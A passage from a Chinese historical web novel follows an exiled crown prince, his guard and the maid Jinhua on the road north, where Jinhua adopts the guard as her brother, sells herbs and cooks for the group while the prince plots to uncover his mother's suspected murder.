气的锦婳的父亲拿着赶牛车的鞭子狠狠的抽打锦婳,男孩的哥哥见这种情形,只能作罢,拉着自己的弟弟愤愤的出了锦婳家的门。
从那日,锦婳就在心里想,若是自己有个亲生的哥哥,保护自己,照料自己,日子或许就不会过的这样苦了。
不久后,锦婳就被卖进宫里,做了婢女。
继母美名曰,换了钱供她的弟弟科考读书,苏家只有这么一个男娃儿,要好好教养。
而且就算入了宫,满十八岁就可以被放出来,宫里份例钱又多,少不了贵人娘娘们的赏赐,等放出了宫便是一辈子吃喝不愁了。
若是命好被哪位皇亲国戚看中了,做了夫人娘娘,那便是给祖上长脸了!
锦婳当时年纪小,便信了继母的话,入宫那日,弟弟抱着她的大腿痛哭,她也是泪珠断线了一般的止不住。
她没有哥哥庇护,弟弟也唯有她这么一个姐姐相依为命,若是她入了宫,一入宫门深似海,姐弟俩再相见不知何年何月了。
不知继母会不会苛待弟弟……
这些年锦婳也有托出宫的姐妹给家里捎话,却一直没有弟弟的回信。
想到这,锦婳看着谢威的眼里闪着星星点点的光。
谢威被这目光看的有些不知所措,这小丫头看他时眼里满满的感情,可又不是女人对男人的那种。
仿佛是……对家人……又或是对兄长,亦或是这些年她孤身一人,终于有了家人庇护的那种珍惜和激动。
谢威刚想说点什么,锦婳却小兔子一般的蹿了起来,她今日真的有些激动,又带着些慌乱,她搓了搓手,有些欣喜又羞涩的说:“谢大哥,我去给你和公子泡些热茶来!”
第一卷 第12章 认亲
陆卿尘躺在马车上,他的腿这两日已经开始有了知觉,也许真的如锦婳那小丫头说的那样,只要躺着不动,好好修养,就会恢复。
陆卿尘已经将草药都分好了,自己留着用的三七放在一堆,剩下的红花、紫苏、金银花、蒲公英、夏枯草他已经吩咐谢威晾晒在马车上了。
还有一些叫不出名字的草药,也一并晾晒了。不知道锦婳这小丫头采这些草药做什么用。
陆卿尘已经能稍稍坐起身了,方才锦婳和谢威的一幕他都看在眼里。
看来前几日是他想多了,锦婳那丫头对谢威并未有情,刚刚那眼神分明是对兄长的崇拜和敬爱。
陆卿尘坐在马车上,看着锦婳陀螺一样的忙碌着。
烧火煮水,这丫头不知什么时候藏了这些上好的茶叶在马车上,流放之前只觉得她像小仓鼠一样把马车填的满满的,本以为流放路上都是苦难,可有这么一个小丫头让本来凄苦的流放路上显得并不那么无趣。
没有茶具,只能一人一个饭碗,勉强喝上一口热茶。
锦婳将茶先递给陆卿尘,然后转身跑到谢威处,恭恭敬敬的递给了他。
谢威一愣,转头看了看马车里的陆卿尘,陆卿尘正细细品味着热茶,自打进了冷宫,他便再也没喝过茶了。他感受到了谢威征询的目光,微微点了点头。
谢威伸手接过热茶,囫囵喝了一口,神色郑重的对锦婳说:“今日喝了你的茶,我便是你的兄长了,日后必定照顾你,护着你。你叫我一声哥,我们便是真正的兄妹了。”
锦婳看着谢威的神色,他该是认真的。
锦婳笑颜如花,叫了声:“哥!”
这谢威看着应该与太子府里的大厨子不同,那大厨子干爹教她做菜总是藏着掖着,脏活累活、守夜的活都是她的。
说是认她做干闺女,却没享到一点闺女的福。
锦婳从小便没有什么亲缘,若说亲近也就唯有那么一个弟弟,看见别人有哥哥,她是打心眼里羡慕,她命里没有哥哥,也就从内心里渴望能有个哥哥。
谢威能认她做妹妹,她很高兴。并不因为他的身份地位,如今在流放路上,大家都是逃犯,也没有什么身份地位可言。
她只是单纯的因为她有了家人,打心眼里欢喜。
谢威看着锦婳面上是真心的高兴,心中难免触动。这丫头照顾起人来面面俱到,平日里机灵的很,可心思单纯也是真的单纯。
队伍又行了半日,到了晚上,锦婳难得的做了几个好菜。
冷宫里带出来的腌制的猪肉,切了片,和米饭一起蒸熟。
角瓜切片,又打了一个鸡蛋,要出锅时撒上一把盐。
剩的一点大白菜,切的碎碎的,撒上一点海米,炒的面面的。
饭菜都做好了,谢威看了看菜色,夸赞道:“今日的伙食不错!”
锦婳把饭菜先盛出两碗,让谢威伺候陆卿尘先吃,余下的分给申家兄弟。
那两碗锦婳笑眯眯的端给了押解流犯的两位官兵。
那两位官兵过的也不比这群流犯好多少,看见锦婳端来的吃食,眼睛都泛着光。
一路上,上顿下顿的玉米饼子,还得打起一百二十分的精神看着流犯别逃了,俩人吃不饱饭很本就没有那个精力,心里不知抱怨了多少次,怎么就摊上了这么一个差事。
两人数不清梦里梦到过多少次了,京城的酒楼里,聚香居的烤鸭、会客楼的夫妻肺片、南门胡同里的大肉包子、城南酒嗣的女儿红。
今日得了这小丫头的一碗饭菜,虽然比不上京城大酒楼的手艺,但也比硬硬的玉米饼子好上太多了。
趁俩人吃的高兴,锦婳笑嘻嘻的上前套着近乎:“两位大哥吃的可还可口?若是觉得小妹做的还勉强能入口,等小妹赚了铜板,再给两位大哥做更好的饭菜!”
两个官差吃的满嘴流油,满口的附和:“可口!可口!比家里的饭菜都香!”
“对了,你说赚铜板?如何赚?”其中一个官差打了个饱嗝,反应过味儿来了。
锦婳笑嘻嘻的说:“小妹前两日听两位大哥说,明日要去旁边的镇子上采买,能否带上我一起去?”
“我采了些草药,想着兴许能去镇子的药铺换些铜板,若是能成,就买些新鲜的肉和菜,犒劳两位大哥!”
两个官差对视了一眼,想着一个小丫头而已,带着难不成还能跑了不成!
若是她真能赚些钱,日后俩人吃的也算是有了着落,那又粗又硬的玉米饼子,实在是咽不下去了。
出城不过几日,俩人已经面色暗黄,走路都没有力气了。
流放北境,山高路远,若是自己不保重自己,死在了路上,流犯们都逃了,还要落个连累九族的罪!
“行!明日张洛去镇子采买,你便跟着一起去吧!”其中一个官差把碗还给锦婳,应了下来。
锦婳点头鞠躬满口的感谢,笑嘻嘻的接过碗筷,蹦蹦哒哒的往回走。
申虎和申豹两兄弟是庄户人,吃饭快,囫囵扒拉了几口,便坐到大树下去打盹儿了。
陆卿尘和谢威还在马车上细嚼慢咽的吃着,谢威有些看不懂锦婳的这般操作了。
“主子,锦婳这丫头怎么和那两个官差套上近乎了?那俩个官差的底细属下还没有调查清楚,说不定是五皇子和丽妃的人。”
谢威有些担忧,主子如今在发配流放的路上,身边也只有自己一人,青龙、白首,还有主子的暗卫如今都在幽州,若是主子路上出了事,自己可担待不起。
陆卿尘倒是饶有寻味的看着满脸喜悦蹦跶往回走的小丫头说:“不碍事,吾观察了他们几日,离京城已经很远了,他们有很多机会可以对吾下杀手,但是并未行动,该不是丽妃的人。”
“以丽妃平日的行事风格,若是想杀吾,恨不得一出城就下杀手,该是觉得吾以被父皇厌弃,又流放北境那个偏僻之地,定是掀不起什么大风浪。”
第一卷 第13章 同眠
谢威点头:“殿下说的是,丽妃和五皇子定是看不懂殿下这招金蝉脱壳,只是,属下不知,主子对锦婳这丫头怎样看?”
陆卿尘语气稍稍柔和了一些:“你既认了她做妹子,便当亲妹子一般真心待她便是。”
“这小丫头看你的神情也像看亲兄长一般,你我皆生在皇家和世家大族,生来虽有亲缘,却不如没有。如今你能有这样一段纯粹的亲缘,也是你们兄妹二人的福气。”
谢威内心触动,点头称:“属下遵命。”
他心里其实早就把锦婳这小丫头当成妹子了,那丫头生命力极强,硬生生把流放的苦日子过的有了一丝甜味,他甚至不敢想,若是锦婳没有跟着流放,日子该怎样的难熬。
锦婳乐呵呵的回来,看陆卿尘和谢威吃完了在收拾碗筷,两人还特意拨出一碗饭菜给她留着,有家人的感觉真好!
锦婳扒拉了几口饭,把明日随官差采买的事说给二人听。
谢威听了先开了口:“卖草药能得几个钱?我说你还是别去了,万一那官差起了歹心,哥哥才刚认了你这个妹子,岂不是就没了?”
谢威心里哪里看得上锦婳卖草药赚的那几个铜板!以前在东宫银子都是成百上千的花,即便是现在落魄了,那几个铜板也是看不上眼的。
锦婳提醒:“今时不同往日,你和公子过的也不是在东宫的日子了。百姓家的钱谁不是一个铜板一个铜板的攒的?从前你们在东宫花钱如流水,现在不能了。今天一个铜板不赚,明日一个铜板不赚,日子怎么过得起来?”
陆卿尘听着锦婳的一番话,觉得有理,道:“那就听锦婳的。”
“不过,吾觉得,你与那官差不熟,他是好人坏人也不明,不如带上申家那兄弟俩一起去,遇事也能护着你。”
三人坐在马车上商量,申家那兄弟俩正好凑了过来,申虎脑袋往里一探:“你们三个人该不会是在密谋逃跑吧?带上我们兄弟二人!”
谢威一凛:“呸!你个乌鸦嘴,少给我们主子招事,到时候被扣上个莫须有的罪名,我剁了你们兄弟俩,信不信?”
“信……”申豹没有哥哥申虎那样的虎劲。
“那你们在说什么,让我们兄弟俩也听听!”申家兄弟平日里也是无聊,他们和那群流犯压根就不是一路人,所以从来也不往一块凑。
谢威和申家兄弟这几日也算是混熟了,拍拍申虎的肩膀道:“明日我妹子要随官差进城采买,想让你和你家兄弟跟着一起去,路上也是有个照应,莫让人家欺负了我妹子。”
申虎豪爽大笑:“我当是什么事,锦婳是你妹子自然也是我妹子,我们兄弟一定好好护着,明日我们就陪着妹子进城去!”
申豹好奇问道:“妹子要去城里采买什么?”
锦婳如实说:“先卖了药材,换了钱,想要采买些公子喝的补药,还有衣服、被褥、肉菜蛋、粮食。”
申豹挠挠头:“卖了药材的那点钱恐怕不够买这些。”
锦婳推了推谢威:“哥,都说黄家人身上有钱,不如你去借一点?”
申虎笑到:“人家有钱凭什么要借给你哥?你信不信人家要用你抵押?”
锦婳错愕。
申虎眼神瞟了瞟黄家人,鸡贼的对着锦婳小声说:“黄家人和黄家那位大公子早就看上你了,说你勤劳能干,是旺夫的命,将来必定多子多福,正计划着到了北境要娶你当媳妇呢!”
锦婳和谢威对着申虎齐齐的翻了个白眼。
申虎见锦婳和谢威不信,忙拉着申豹说:“真的!我和我兄弟听见好几次了!”
申豹跟着点头。
锦婳不爱听了,走到一旁的火堆蹲着烧水,上好的茶叶不能喝一次就浪费了,她打算再煮一罐茶。
谢威白了申虎一眼:“想娶我妹子哪有那么容易,再说,我家公子还离不开我妹子的照料呢!”
陆卿尘被谢威这句话说的一愣,他看向锦婳蹲在火堆旁的小背影,这丫头得有十七了,但是干巴瘦,看着也就十四五岁的样子,这些天风吹日晒的赶路,晒得有些黑了。不过这一路真是多亏了这个小丫头,不然他和谢威少不了苦吃。
晚上了,流犯们都席地睡了,两个官差也是辛苦,轮流站岗,怕流犯逃了,一个守上半夜,一个守下半夜。
谢威也盖着棉被蜷缩在马车旁,只有锦婳守着火堆,夜里凉,她睡不着。
陆卿尘见锦婳守着火堆没睡,坐起来掀开马车的帘子,对锦婳说道:“地上凉,小心着了风寒,上来,今夜就睡着吾的马车上吧。”
锦婳看了陆卿尘一眼,她倒是没往别的地方想,只觉得陆卿尘还算是个有良心的,也不枉她照料他这一路。
锦婳没多想,可谢威多想了!
太子是怎样的人,他再清楚不过了!
太子自小性情便孤僻,皇后娘娘在世时还好,可自打皇后娘娘仙逝后,太子的性情便更加冷淡。
很长一段时间他甚至拒绝与人接触,身边除了自己,没有一个亲近的人。
太子府里的人都知道,太子从不与人同寝,更是极少与前太子妃娘娘行房事,那位李侧妃的屋里更是从未进过。
说实话,前太子妃娘娘和那位李侧妃,哪位都比锦婳这丫头妖娆多姿,特别是那位李侧妃,在世家小姐里白皙丰满是出了名的,可是偏就不得主子喜欢。
再看锦婳这丫头,本来还算白净,流放这一路上晒得黑瘦了不少,身上又有一股子做饭的油烟味儿,算来也有几十天不曾洗澡了,殿下怎么肯与她同眠。
他真是越来越看不清殿下了,不过好像他也从未看清过他。
锦婳没有被褥,夜里又冷,她也是实在没有办法,硬着头皮爬上了马车。
她本来正想着,今晚先熬一熬,等明日卖了草药,有了钱,先买两床被褥,没想到陆卿尘会准她到马车上睡。
第一卷 第14章 卖草药
马车上的肉、菜这两日被锦婳消耗了大半,如今也有的是地方可以让两人躺着睡,锦婳不用再蜷缩在陆卿尘脚下了。
锦婳知道自己已经十多天没洗澡、没洗头发了,身上还一股做饭的油烟味儿。
两人刚躺下没多久,陆卿尘便把被子扯给她一半,盖在她身上,轻声说:“睡吧。”
锦婳没说话,也不敢动,两人中间隔着两个手臂的距离,锦婳没想到他会不嫌弃和她盖一张被。
可是睡着了,锦婳就不老实了。可能是夜里凉,锦婳翻了个身就紧紧的贴着陆卿尘。
陆卿尘被被窝里的人拱醒了,迷迷糊糊的看了眼锦婳,睡的正香,没办法,谁让是自己把人家叫上马车的,闭上眼,继续睡。
陆卿尘想,自己不抗拒锦婳,也许是觉得这丫头和自己很像。
都是话不多,心中有想法,不说。很少与人交心,没有亲人,他甚至觉得他们同命相怜。
又或许是因为,锦婳和他接触过的所有世家小姐都不同,她坚韧,乐观,是一朵苦难里开出的花。
这一路不管遇见什么难事,于她仿佛都不算事,从未听她抱怨过一句,特别是她那一双眼睛,清澈、明亮,无论日子多么艰难,从她眼里都能看见光。
天蒙蒙亮,一夜好眠。
一大早锦婳就裹了裹单衣,起床烙饼子了,她把马车上仅剩的猪肉拿出来剁成了馅,找了一个板子开始和面。
破瓦片烧热,放了些油,面团里裹着厚厚的肉馅,刚一下锅就呲啦一声,再烙一会儿,林子里已经满是香味了。
想到今日要去采买,锦婳烙的饼子格外多,足够几人吃了。
锦婳留出了四个肉饼子,是给陆卿尘和谢威中午吃的,她怕中午回不来,两人饿肚子。
给官差每人送了两个,申家兄弟和谢威每人两个,她和陆卿尘饭量小,一人一个就够了。
林子里的流犯们只能闻闻味儿,就着干巴的大饼子吃就已经心满意足了。大家无事时就看着锦婳忙碌,都觉得这小丫头真厉害,是过日子的一把好手,就算是流放的苦日子,也能过的有声有色的。
吃了饭,锦婳还没来得及收拾,那个叫张洛的官差就来急急叫人了。
“锦婳姑娘,得快些走了,今日还有要赶的路程,迟了晚上就走不出这片林子了。”
锦婳有些为难的放下要洗的碗筷,谢威看见了过来说:“阿妹,你和官差大哥去便是,这里交给哥来收拾。”
锦婳笑得天真,说了声:“谢谢哥。”便蹦哒哒的背着背篓跟着官差走了。
谢威给申家兄弟使了个眼色,申家兄弟立马跟在锦婳身后。
几人加快脚程不一会就到了镇子上,这镇子不大,商铺也没有几家。锦婳和申家兄弟先跟着官差去采买下一段路的干粮,无非是些饼子、饽饽之类的没有滋味的吃食。
听那个叫张洛的官差说,近几年边境战事频繁,朝廷银子紧,用钱的地方本就多,供应前线战士吃喝都不够用,能落到这群流犯身上的自然少之又少,能维持饿不死就已经不错了。
锦婳和申家兄弟听了心里一阵唏嘘,看来要平安到达北境,光靠朝廷这点补给是靠不住的,还得靠自己!
锦婳几人找了一间药铺,见几人风尘仆仆进了门,掌柜的笑意盈盈的出了柜台迎客:“几位客官可是要抓药?”
锦婳客气的对掌柜的说:“老板,我这里有一些草药,都是自己精心采摘、晾晒的,不知道您可收?”
说着锦婳卸下背篓,放在掌柜的面前的小桌上。
陆卿尘干活干净仔细,一类的药材都用自己编的草绳整整齐齐的捆好,草药也是晾晒的干干净净,一片烂了的叶子都没有,上面也不沾染一点泥土。
就这份认真、精心的心思,就让锦婳打心底里佩服。
锦婳相信,他身为太子时,也一定是个为国为民的好太子,至于为何会被陛下贬为庶民,发配北境,锦婳一直想不通,也不敢问。
掌柜的拿起每种草药都仔细端详片刻,锦婳知道老板收这草药有戏。
果然,不一会儿那掌柜的便笑着对锦婳说:“小姑娘,这草药我收倒是能收,只不过这价钱嘛,不会太高。”
“草药确实不错,处理的也算精心,只不过都是些寻常的药材罢了。只有这味冬虫夏草值钱一些。”
锦婳问:“老板您看这些草药值多少钱?”
老板伸出两个手指:“这味冬虫夏草,我出二两银子,若是能晒的再干一些,就值三两了,可惜了。”
“剩下的这些并不值钱,这一筐我最多给到五百文,也是看你这个小姑娘不容易,冲着你这份精心的程度,我勉强收了。”
锦婳心中暗喜,这些银子早已经超出了她心中的预期。
见锦婳愣神不语,老板以为小姑娘要反悔不肯卖了,便劝着说:“这镇子上只有我一家药铺,若是姑娘不卖,到下一个镇子还不一定能卖上这个价钱。”
锦婳也是个爽快的性子,见老板也是真心想收,便说:“那我便卖给老板就是了。只不过,家里兄长受了皮肉伤,已经快一个月了,还不曾见好,不知老板可否送些补药,我便不与您讨价还价了。”
那掌柜的相中了药材,也看中了小丫头的机灵和爽快,满口应下,给抓了两副促进伤口愈合的补药,还告诉了煎服的方法。
包好银子,掌柜的送锦婳几人出门,还不忘说:“小姑娘,以后若是还有草药要卖,只管来找我。”
锦婳笑得甜甜的,满口应下。
几个人在镇子上采买了好些东西,买过冬的棉衣是正经事,越往北走越冷,再走一个月恐怕就要下雪了,他们几人还是穿着出宫时穿的单衣,就算能走到北境,不饿死也冻死了。
买了三身普通料子的棉衣,就用去了一两银子。
锦婳还不忘回头悄悄跟申家两兄弟说:“两位哥哥,等过几日小妹采了草药,到下个镇子卖掉,也给两位哥哥添置棉衣。”
申家兄弟心里暖暖的,没想到流放路上遇见的小妹子,还惦记着自己。
申虎满脸的笑意,挠着后脑勺说:“好说,妹子!”
第一卷 第15章 雇佣
锦婳还买了锅,现在烙饼的大瓦片实在是太简陋了,还添了些碗筷,现在吃饭的人越来越多,不能都用手抓吧!
棉被和褥子是必须要买的,总不好老和陆卿尘挤一床被睡。
这次出来最重要的是采买食材。糙米、粗面各买一袋。
两只鸡、两只鸭、鱼干一袋。大白菜、茄子、萝卜、土豆装了一袋子。
猪肉装了几大条,有炖着吃的,有炒菜用的,有炼油的。
馒头、烧饼不能买太多,天气还不算太凉,三五天就变质了,锦婳每样挑了二十个,不够吃再自己烙。
中午没时间烧火做饭了,在包子铺买了二十个现成的肉包子,回去便随便吃口包子了。
这个小镇的物价还算便宜,这么多食物总共花了五百文,应该足够坚持到下个镇子再采买,锦婳身上还剩一两银子。
几人扛的扛,背的背,满载而归。
申家兄弟和张洛帮忙把东西都扛到马车上,锦婳笑意盈盈的说:“今天几位大哥辛苦了,小妹晚上炖只鸡来犒劳大家。”
“好说!好说!”听说晚上吃炖鸡,申家兄弟和张洛刚才的累都觉得不算累了,跟着这个小丫头有肉吃,大老爷们挨这点累算什么!
锦婳还不忘往三人每个人手里塞了几个肉包子:“几位大哥中午就凑合吃些肉包子,不够小妹这里还有,只管来拿便是了。”
几人就差千恩万谢了,流放路上天天玉米饼子,能吃上肉包子简直就和做梦一样,这小丫头还说凑合。
送走了几人,锦婳把东西都分好类,整齐的码放在马车上。
刚刚才躺的宽松些的陆卿尘,这下又和一堆食物挤在一起了,锦婳这丫头只给他留了一条缝,连想翻个身都翻不了。
陆卿尘和谢威中午吃的早上锦婳留的的肉饼子,他们被锦婳这个小丫头娇养的,甚至觉得自己离开这个小丫头都没有自理能力了。
锦婳把药铺老板送的促进伤口愈合的补药拿出来,嘱咐谢威如何煎药。
锦婳把怀里剩的一两银子掏出来,塞到陆卿尘手里:“这是花剩的银子,交给你来保管,我怕丢了。”
陆卿尘看着手里的银子愣了愣,这是拿他当钱袋子了,这小丫头现在压根不拿他当主子看了是吧!
而锦婳的神色带些小小的骄傲和满足,还有些许小兴奋。
日子总会越过越好的对吧,现在这手里不就有钱了嘛!
中午锦婳匆匆吃了一个肉包子,伺候陆卿尘喝了药,就随着流放的队伍出发赶路了。
下午还是申家兄弟赶车,锦婳和谢威采草药,陆卿尘分类,各有各的活计。
锦婳已经把冬虫夏草能卖上价钱的事告诉了陆卿尘和谢威,下午锦婳和谢威决定一门心思找冬虫夏草。
锦婳和谢威采摘了一个下午,也不过半筐的草药,冬虫夏草只找到了几颗,陆卿尘还挑捡出了一堆不能用草药的,锦婳是累的腰酸背痛,晚上还得给大家烧火做饭呢。
陆卿尘看锦婳这小身板实在累坏了,也免不了心疼,他出了个主意:“不如雇佣这群流犯采草药,也不必发银钱,采来一筐草药就给两个菜饼子,看看有没有人肯干。”
“你二人也可以歇歇,只管收草药,发饼子便是,只不过锦婳要受累多烙些菜饼子。”
锦婳听了使劲点头赞成,心想,不愧是当过太子的,脑子就是比她这个做奴婢的好用不知多少倍!
锦婳看见一路上不只有草药,也有好些能吃的野菜。
锦婳决定明日自己采野菜,裹着糙面还有猪板油炼油剩的油渣子,烙些野菜饼子,分发给采草药的流犯。
晚上,流放的队伍在一处破庙前停了下来,今夜总算不用住野林子了,终于有片瓦遮身了。
锦婳拿出干柴烧火,新买的锅清洗干净,从马车上掏出一只肥鸡,剁成块。
几个土豆去皮切块,油锅烧热下鸡块和土豆块,添上满满一盆清水,撒上一把盐,没过多一会,破庙里就飘的都是炖鸡的香味儿了。
这么冷的天,能够吃上一口带热汤的炖鸡,是多舒坦的事啊!
锦婳蹲在炉火边,不敢离身,生怕鸡块炖糊了,灶台的火还好说,这柴火堆的灶,她用的还不熟练。
锦婳拿铲子翻了几次锅里鸡肉,土豆已经炖的翻砂了,稍稍尝了尝味道,鲜美可口。
锦婳先给陆卿尘盛了一碗鸡肉炖土豆,又招呼谢威、申家兄弟和两名官差来吃饭。
大伙要吃饭了,那群流犯手里捧着官差发的大饼子,眼巴巴的看着锦婳炖的那锅鸡肉土豆,就差口水流到地上了。
谢威见他们也实在是可怜,便替锦婳说道:“各位,我家公子心善,但也并无余力接济所有人,若是有人想吃我家妹子烙的菜饼子,明日可拿路边采的草药来换。”
众人面面相觑,都觉得这个主意甚好!
谁也不愿乞讨一般去要人家的吃食,若是以物换物,那是再好不过了!
人群中,不知谁带头喊了一声:“好!”
之后流犯们一个一个,赞成声喊成一片。
几人吃完那锅鸡肉炖土豆已经是天黑了,收拾完碗筷,锦婳还要烙明日的菜饼子。
锦婳从马车里掏出一块猪板油,炼了一罐子猪油,又掏出一个大萝卜,切丝焯了水,和着粗面和刚刚炼油剩的猪油渣,弄了满满一大盆。
锦婳心想,新买的锅就是好用,可以一锅烙好几张菜饼子,若是用之前那个破瓦片,恐怕自己要烙到明天早上了。
锦婳烙饼最拿手,手速又快,一手摊饼子,一手翻面,不到一个时辰,一盆面见底了,旁边堆了满满一箩筐的菜饼子。
破庙里全是混着猪油渣的萝卜菜饼子的香味,若不是想到明日就能吃上,今日那群流犯恐怕要因为这筐菜饼子暴动了!
锦婳忙活完手里的活,已经是深夜了。
许是又往北边走了些,今天夜里更凉了点。
锦婳庆幸给自己买了被褥,她在破庙里找了一处离马车和谢威近一点的地方,给自己铺了褥子,钻进被窝,把头都蒙在了棉被里,劳累了一天,锦婳很快睡着了。
陆卿尘却翻来覆去睡不着了,不知是马车被锦婳那丫头堆的太挤了,还是今夜没有锦婳那丫头在旁边拱自己,一直到天蒙蒙亮,陆卿尘才勉强睡着了一会儿。
第一卷 第16章 心疼
一大早,锦婳就像忙碌的小鸟,开始烧水,做饭。
今日的早饭好做,熬上一锅黏糊糊的白米粥,昨日买的肉包子还剩了大半,起锅烧油,小火慢煎,不一会包子两面就定上了金黄的脆皮。
这一路看来,陆卿尘还算好说话,口味也并不刁钻,锦婳做什么他便吃什么,从未有过挑剔和二话。
之前在太子府的时候他吃什么东西都是点到即止,饭量并不大,很多时候端过去的点心都是原封不动的端回来。
锦婳闲暇时听太子府里的丫鬟们小声说过,自打皇后娘娘仙逝后,太子的性子变得更加清冷,就连如花似玉的太子妃娘娘他都很少与之亲近,太子妃娘娘一个月能与太子同房一次都要烧高香,几乎夜夜唉声叹气,独守空房。
更别提李侧妃了,连太子殿下的面都很少见,一直到太子被废,都是个完璧的大姑娘。
锦婳听那些丫鬟们说,太子殿下就因为这个清冷的性子,不得陛下喜欢。
陛下心中最宠爱的是丽妃娘娘生的五皇子殿下,锦婳在宫里的时日不算短,即便多数时候两耳不闻窗外事,但丽妃娘娘是宫里只手遮天的宠妃,她还是知道的。
现在陆卿尘太子之位被废,又发配到北境那个气候恶劣,鸟不拉屎的地方,陛下看来是真心厌恶了他。
想来也许再过不久,那位陛下最宠的五皇子殿下便会封为新太子,那位宠冠后宫的丽妃娘娘终会登上后位。
想到这锦画瞥了眼躺在马车上养伤,还在翻看那本快要翻烂的本草纲目的陆卿尘,心里竟然有一丝心疼。
他现在穿着最廉价的粗布麻衣,头发有些凌乱,已经快一个月没有梳洗过了,他不再是那个干净,明亮,散发着清新木香,头发永远梳的一丝不苟的太子殿下了。
他究竟犯了什么大错,陛下竟然这样狠心对待和发妻的唯一嫡子?
想到这,锦婳心中竟然有些怨恨皇帝。
她没了娘亲,也是被继母和父亲厌恶,连哄带骗的卖到那不见天日的皇宫里,从此生死随天意。
陆卿尘他又何尝不是……
锦婳竟也生出几分同病相怜的感觉。
她轻轻叹了口气,盛了半小碗白米粥,拿了一个刚煎好的热乎乎的肉包子,放在陆卿尘身旁,没说什么,回到灶边接着煎包子。
申家兄弟一早就蹲在灶旁等着吃热包了,看锦婳先给陆卿尘盛了粥和包子,打趣道:“平时都是哥哥妹妹的,吃饭的时候,谁亲谁疏,才一目了然啊!”
锦婳弯唇:“下一个包子煎好就给二位哥哥!”
申家兄弟分了包子和粥,蹲到大树下吃去了,今天还是赶车的活,吃饱了才有力气。
陆卿尘在马车上躺的乏累了,缓缓的挣扎着坐起身,朝马车窗外望了望。
树叶开始落了,一转眼已经走到了深秋,天气是更凉了一些,喝了碗热乎乎的粥,他感觉浑身上下都暖乎乎的。
屁股上的伤已经愈合了,腿也渐渐有了知觉,那些希望他双腿被打断的人,愿望恐怕要落空了。
锅里还剩下了六个肉包子,锦婳给两个官差一人装了两个,剩下的两个,她和谢威一人一个。
锦婳把其中一个大一些的包子递给谢威,有些难为情的说:“哥,包子剩少了,只能先紧着官差吃,不然到下一个县城怕不带我采买。”
谢威笑笑,这丫头倒是实在,便说道:“今日也没有什么力气活,就是收收草药,一会就到中午了,等中午再多吃些。”
锦婳眉毛弯弯:“那好,中午给哥烤鸭子!”
吃过早饭,流放队伍又开始前行了。
这两个押解流犯的官差这趟也算是开了眼界,之前押解路上,流犯们都是叫苦连天,哭爹喊娘,每日都少不了甩鞭子抽那些走的慢的流犯,甩了一天鞭子,到了晚上胳膊都会疼。
路程没走一半,流犯却死了大半。
这次可好,今日一早开始,流犯们都争着走在队伍的前边,生怕慢了一步草药被别人采去了。
说心里话,他们两人,虽说是朝廷钦派的官差,领着朝廷俸禄,可也不比那群流犯过的强多少。
整日里风餐露宿,啃硬的能蹦掉牙的大饼子,住四处漏风的破庙,遮身无片瓦的野林子。
这次流放的路上,有锦婳那丫头,每顿饭都送来新鲜的吃食,天气渐冷了,那丫头做的饭菜热热乎乎的,顿顿有菜有肉。
还有昨晚锦婳煮的那壶茶,听申家兄弟说是宫里带出来的茶叶,入口真是唇齿留香,这丫头真是个宝,流放路上有了她,多了好些乐趣。
今日他们也不用甩鞭子赶着流犯走了,只需要看着流犯别跑远就行了,这群流犯一会钻草丛,一会扒树根,他们甚至恍惚觉得,这次一行,不是流放,而是游玩。
申家兄弟赶车的技术的确比谢威强了不少,陆卿尘在马车上并不觉得颠簸,伤口已经不疼了,只是这腿酥酥麻麻的,才刚有些知觉,不知何时能站起来。
今天走的这一路,有良田、有菜地,风景很是不错,陆卿尘心中暗自想,在冷宫时,锦婳那小丫头说过,出了宫,也许会另有一番天地。
今日看来的确是,虽然目前离开了皇宫,失了太子之位,但也并不代表不再回宫,太子之位也并不是夺不回来!
母后仙逝时,他年龄虽然尚小,但也不是完全不懂事的年纪。
母后身体一向健康,为何一场小小的风寒就夺了性命。
那时父皇勤政,安排在母后身边伺疾的人正是丽妃。
母后的餐食和汤药都要经过丽妃之手,如若母后仙逝是遭人迫害,那丽妃的嫌疑最大。
母后仙逝后,父皇以悲痛难耐为由,遣散了母后身边伺候的一众宫人,母后生前的陪嫁心腹丫鬟碧痕更是被父皇下旨嫁与一小官通判为填房。
陆卿尘调查到,那碧痕所嫁的通判,任职之地正是北境。
母后的死,碧痕一定知情!
第一卷 第17章 治伤
陆卿尘这些年在宫内隐忍度日,不过是为了找出母后正真的死因。
他始终不肯相信,母后会被一场小风寒夺去性命。
陆卿尘想起自己年幼的时候,母后是多么的疼爱他,他经常靠在母后的怀里,赖着不肯离开。
只有在母后身边,他才可以不做出太子必须有的一本正经的样子。
他可以和母后一起孩子气的捉蝴蝶,可以一起吃糕点,他幼时贪吃,糕点吃多了经常撑的肚子疼,他总会来找母后哭鼻子,跟母后撒娇求她给自己揉揉圆溜溜的小肚子,母后总会觉得又好气又好笑,有一次罚他十日不许吃糕点。
母后仙逝后,他便不再贪吃,再好吃的佳肴和糕点,他也只是点到为止。
众人只以为他食量小,或是对饮食太过挑剔,只有他自己知道,那个给他揉肚子的人不在了,而且此生再也不会回来。
这么好的母后,生命中唯一给过他温暖的人,他不相信一场小风寒就会要了她的性命。
他并非无能之辈,铲除丽妃和五皇子易如反掌。
可他要的是真相大白!
他要罪人在母后墓前忏悔!
若想调查母后的真正死因,唯有找到碧痕。
陆卿尘蛰伏多年,沉默多年。
沉默到父皇和丽妃几乎都以为他当年还尚年幼,对母后的死没有一丝一毫的疑虑。
终于,多年后让他找到机会,激怒父皇,自请贬为庶民,发配北境。
太子被废,众所周知,受益人非五皇子莫属。
丽妃和五皇子还尚沉浸在喜悦之中,早就忘了碧痕也在北境。
一切神不知鬼不觉。
陆卿尘想的有些出神,眼神中闪现阴戾。
“主子,喝口热茶吧!”谢威的声音打断了陆卿尘的思绪。
陆卿尘眼神归于平静,伸手接过谢威递来的茶,手指白皙修长:“可知还要走多久到达北境?”
“听官差说,还要月余。”谢威禀报。
陆卿尘眉头微皱:“青龙、白首可联系上了?”
谢威面露难色:“还没,信鸽寄出的主子亲笔手书还未收到回复。”
陆卿尘伸手算了算,青龙、白首早他们些时日出发,一路骑马,算来该是快到北境了。
如今他将人马都调到了北境,若是寻到碧痕,问出真相,他不介意与父皇鱼死网破,大战一场。
锦婳那边丝毫没注意到陆卿尘和谢威在计划什么。
她走在马车前面,忙的不亦乐乎。
收草药,发饼子,采野菜。
路过的这片农田有瓜果的香气,锦婳深深的吸了一口,感觉五脏六腑都舒坦了。
再往前走了一段路,果然是一片西瓜田。
锦婳蹲在路边,和老农买了几个大西瓜,还像模像样的学着老农对着西瓜敲敲打打,还拿小耳朵贴着西瓜听声音,甚是可爱。
